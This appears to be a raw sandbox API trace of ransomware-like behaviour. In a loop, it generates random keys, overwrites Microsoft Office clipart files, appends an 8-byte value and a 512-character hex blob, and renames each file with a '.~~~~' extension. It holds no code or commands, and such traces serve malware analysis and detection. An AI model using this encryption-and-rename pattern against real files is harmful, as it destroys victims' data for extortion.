	[0114.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839728
	[0114.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839728 | out: hHeap=0x300000) returned 1
	[0114.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836680
	[0114.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.012] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.012] GetLastError () returned 0x0
	[0114.012] GetLastError () returned 0x0
	[0114.013] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.013] GetLastError () returned 0x0
	[0114.013] GetLastError () returned 0x0
	[0114.017] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcde1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.017] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x321f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x321f, lpOverlapped=0x0) returned 1
	[0114.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.019] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.019] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.019] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.019] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.019] CloseHandle (hObject=0x11c) returned 1
	[0114.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.019] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.~~~~")) returned 1
	[0114.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.020] GetLastError () returned 0x0
	[0114.021] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.022] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.022] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.022] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23401238856) returned 1
	[0114.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad8ff9b0, dwHighDateTime=0x1d60e1e)) 
	[0114.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839760
	[0114.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839760 | out: hHeap=0x300000) returned 1
	[0114.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836978
	[0114.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.023] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.023] GetLastError () returned 0x0
	[0114.023] GetLastError () returned 0x0
	[0114.024] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.024] GetLastError () returned 0x0
	[0114.024] GetLastError () returned 0x0
	[0114.026] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff4252, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.026] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0xbdae, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xbdae, lpOverlapped=0x0) returned 1
	[0114.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.027] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.027] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.027] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.027] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.028] CloseHandle (hObject=0x11c) returned 1
	[0114.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.028] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.~~~~")) returned 1
	[0114.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.029] GetLastError () returned 0x0
	[0114.037] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942318) returned 1
	[0114.069] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.069] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.069] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23405918612) returned 1
	[0114.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad971dd0, dwHighDateTime=0x1d60e1e)) 
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839878
	[0114.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839878 | out: hHeap=0x300000) returned 1
	[0114.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836bd8
	[0114.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.070] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.070] GetLastError () returned 0x0
	[0114.070] GetLastError () returned 0x0
	[0114.070] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.070] GetLastError () returned 0x0
	[0114.071] GetLastError () returned 0x0
	[0114.203] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff10a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.203] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xef6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xef6, lpOverlapped=0x0) returned 1
	[0114.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.205] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.205] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.205] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.205] CloseHandle (hObject=0x140) returned 1
	[0114.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837130
	[0114.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.~~~~")) returned 1
	[0114.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2837130 | out: hHeap=0x300000) returned 1
	[0114.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.207] GetLastError () returned 0x0
	[0114.207] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.208] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.208] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.209] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23419873887) returned 1
	[0114.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadaeeb90, dwHighDateTime=0x1d60e1e)) 
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839aa8
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839aa8 | out: hHeap=0x300000) returned 1
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837098
	[0114.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.224] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.225] GetLastError () returned 0x0
	[0114.225] GetLastError () returned 0x0
	[0114.225] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.225] GetLastError () returned 0x0
	[0114.225] GetLastError () returned 0x0
	[0114.227] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff0a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.227] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xf5c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xf5c, lpOverlapped=0x0) returned 1
	[0114.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.229] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.229] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.229] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.229] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.229] CloseHandle (hObject=0x140) returned 1
	[0114.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.~~~~")) returned 1
	[0114.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.231] GetLastError () returned 0x0
	[0114.232] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.233] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.233] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.233] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23422356207) returned 1
	[0114.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadb14cf0, dwHighDateTime=0x1d60e1e)) 
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839ae0
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839ae0 | out: hHeap=0x300000) returned 1
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837260
	[0114.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.234] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0114.234] GetLastError () returned 0x0
	[0114.234] GetLastError () returned 0x0
	[0114.234] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0114.235] GetLastError () returned 0x0
	[0114.235] GetLastError () returned 0x0
	[0114.252] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe254, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.252] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1dac, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1dac, lpOverlapped=0x0) returned 1
	[0114.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.258] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.258] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.259] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.259] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.259] CloseHandle (hObject=0x140) returned 1
	[0114.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.~~~~")) returned 1
	[0114.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.264] GetLastError () returned 0x0
	[0114.265] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0114.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.266] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.266] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23425658527) returned 1
	[0114.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xadb60fb0, dwHighDateTime=0x1d60e1e)) 
